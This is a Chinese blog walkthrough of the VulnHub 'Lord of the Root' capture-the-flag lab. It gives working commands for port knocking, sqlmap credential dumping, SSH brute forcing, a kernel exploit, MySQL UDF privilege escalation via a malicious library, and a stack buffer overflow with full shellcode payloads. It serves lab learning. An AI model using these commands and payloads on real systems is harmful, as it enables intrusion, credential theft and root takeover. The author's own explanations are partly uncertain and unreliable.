• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-lord of the root通关教程

这里都是前面的内容了,唯一难点就是缓冲区溢出漏洞,最近几乎都是栈溢出,我是有点头大了,估计你看完能了解些栈溢出吧,如果你有更好的见解请交流一下经验

老样子,先扫网段存活的主机

Nmap -sP 192.168.135.0/24

扫开放端口

Nmap 192.168.135.140

发现只有22端口,我开始还没注意是ssh,往ftp匿名登录方向走了,结果后面才反应过来

多扫了一步,就是为了看看有没有ftp匿名,虽然是ssh,但是这一步也能找出些信息

Nmap -sS -p- -A -T5 -sS 192.168.135.140

尝试登录一下看看有什么信息

Ssh 192.168.135.140

发现123,这里看了别人的才知道做了端口隐藏,做敲震找出端口

Knock 192.168.135.140

这里也能用hping3

hping3 -S 192.168.135.140 -p 1 -c 1

hping3 -S 192.168.135.140 -p 2 -c 1

hping3 -S 192.168.135.140 -p 3 -c 1

-p 端口 -c 敲击次数

发现多出1337,我们访问一下

这里我看了源码也没有什么有用的信息,结果看了别人的思路才发现图片也是个目录信息,真狗啊

这里发现编码了,解码后发现是二次

当然也可以用base64来输出查看

echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d

又得到一个目录,访问发现是一个登录页面,直接上sqlmap

sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms –dbs

-o 交互优化 -u 网站 -form从url的表单获取 –dbs 猜测数据库

得到了数据库,接下来就是获得表

sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp –tables

-D指定数据库 –tables 猜测表

得到了user表,接下来就是猜测字段了

sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp

-T User --columns

-T指定表 –columns 猜测字段

接下来就是猜测数据了

sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp

-T User -C id,password,username --dump

将他们分别放在账号和密码本里爆破ssh

Hydra -L username.txt -P password.txt 192.168.140 ssh

用获得的用户名密码登录ssh

Smeagol mypreciousR00t

Ssh smeagol@192.168.135.140

登录进来的第一件事就是看能不能内核提权

Uname -a

发现有39166

从GitHub上下源码有点麻烦了,不一定能在靶机用,直接看kali有没有

Searchsploit 39166

Searchsploit -p 39166.c

这里有个小技巧,不用cp,可以直接searchsploit -m 39166.c直接下载到当前位置

开启服务器上传文件

Python3 -m http.server 8000

看看靶机有没有gcc,进入tmp

Which gcc

Cd /tmp 这里应该不用多说了

上传exp

Wget http://192.168.135.131:8000/39166.c 这里是kali的地址我踩过好多次了>_<

接下来gcc编译,也无需多言,我都了解了

Gcc 39166.c -o yang

执行获得root

./yang

这里还能用udf提权,就是用户自定义函数,sql支持加载外部的.so/.dll文件,将其注册成sql函数调用,加载恶意的so库,创建自定义函数,执行命令拿到权限

先看看myql的版本

Dpkg -l | grep mysql

发现是5.44,再看是不是root运行的,这样提权才有用

Ps aux | grep root

Grep这里是指定搜索

在看看登录信息放哪了

Find / -name login.*

/从根目录查找

看看密码,获得了MySQL的密码

Grep “password” -rn

Grep “mysqli” -rn

Udf最重要的就是看他能不能写入文件,不然我们的脚本跑不起来

Show global variables like ‘secure%’;

我们看看插件目录在哪里,我们的.so文件就放这了

Show variables like ‘%plugin%’;

好udf提权的条件凑齐了

接下来看看能不能远程登录,能不能用别的方法

Select user,host from user;

这里直接从kali里复制啊

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .

改个名开启服务好上传使用啊

Mv lib_mysqludf_sys_32.so . yang.so

选择mysql,创建杨这张表

Use mysql

Create table yang(yang longblob) 这里的longblob就是大一点而已

将他放到plugin里,并创建自定义函数,让他执行时自动运行恶意库,执行而已命令

Select * from yang into dumpfile ‘/usr/lib/mysql/plugin/yang.so

Create function sys_exec returns string soname ‘yang.so’;

查看现在恶意库是否写入自定义函数,让自定义函数能执行恶意.so,

Select * from mysql.func;

Select sys_exec(‘chmod u+s /usr/bin/find’);

成功提权,写到这里才发现上一个已经内核提权了,不过问题不大,你看我们获得了尾shell,这就是成功的证明啊

Ok呀看看flag先吧

Ok呀,缓冲区,玩了那么久还是有点没办法。主要是找破坏字符有点难受了

Ls -al

查看SUID弱点值:find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

这里发现时ELF,可执行file命令比较每个文件的哈希值:

file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

或者使用du -b查看字节:

du -b /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

看看有没有开启自动执行脚本

Ls -alfR

这里发现,每隔短时间,这个5.1k值都会在三个文件来回换

进入看看有什么

Cd door2

果然又是ELF

File file

先将二进制文件转成base64,放到本地,在将base64转成可执行的二进制

Base64 file

Cat yang.txt | base64 -d > file

先看看溢出点在哪里,生成1000位值看看

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

发现发生溢出点是41376641,问题文件都是这个值,在这个靶场啊,我看了很多大佬的教学都是这个值

看看偏移量是多少,在哪里后开始出现溢出

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

这里都是171,问题文件都是一样的,溢出点和偏移量都是一样的

知道偏移量后我们看看发生溢出后都执行了什么,构造shell看看

run $(python3 -c 'print("A" * 171 + "B" * 4)')

这里成功劫持了eip,而且eip是4个值,我们就可以固定payload的溢出点和偏移量劫持EIP了,这个是控制cpu执行下一指令的,让他执行到我们的shellcode,你发现没,溢出点变了,说明开启了ASLR,我们看看呢

cat /proc/sys/kernel/randomize_va_space

0 关闭 2全随机 1半随机

开启了ASLR我们不可能没次都能执行到我们的shellcode,没错run的时候他的内存地址都会变,这时我们对栈溢出有个方法,如果你看了我meterpreter渗透测试指南笔记你估计会对nop空字符有点印象,那个是讲解堆溢出时使用堆喷射的,这个是用nop sled雪橇攻击,让eip的下一跳到nop时一直滑到我们的shellcode

看看esp

Info r

这里我们成功写入了esp,接下来就是找破坏字符了,这里就是生成shellcode时,发生栈溢出,看看shellcode里那个字符消失了,几乎都是连续的类似,发现中间断了就把消失的shellcode从原shellcode删了,保证shellcode正常执行

看开启了什么防护

Checksec

将esp接入我们的nopsled,到eip时指向下一跳,被劫持了发生错误一直滑行到我们的shellcode

run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*200 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')

这里不稳定,我也不知道为什么,希望有人能给我指点一下,这是我测的payloade

run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*200 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')

它执行一条命令直接退出tty,我问豆包说是pwngdb发现不是正常的交互shell,执行完后退出了

但是我后面加大nop的值就不会退出了,但是我找不到flag了>_<

run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*20000 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')

卧槽,我真是没招了,换了/bin/dash测试,改了雪橇的长度,直接破万终于稳定了,但是我找不到flag了Q_Q

这里聊一聊我对缓冲区溢出的看法,缓冲区就是正常我们执行的buff,eip是下一跳的位置我们就是劫持它,esp位于栈顶,低地址,所有操作以esp为基准,所以我们要放他到nop前,ebp位于栈低,高地址,用来索引局部变量,规定了范围。

我们先找溢出点,在确定偏移量,依此构造payload,再找到破环字符,保证shellcode的正确执行。

我的方法估计不是正确的,还希望有缘分看到了解释指点一下.>_<.

posted on 2026-09-22 02:46  驿般般  阅读(2)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3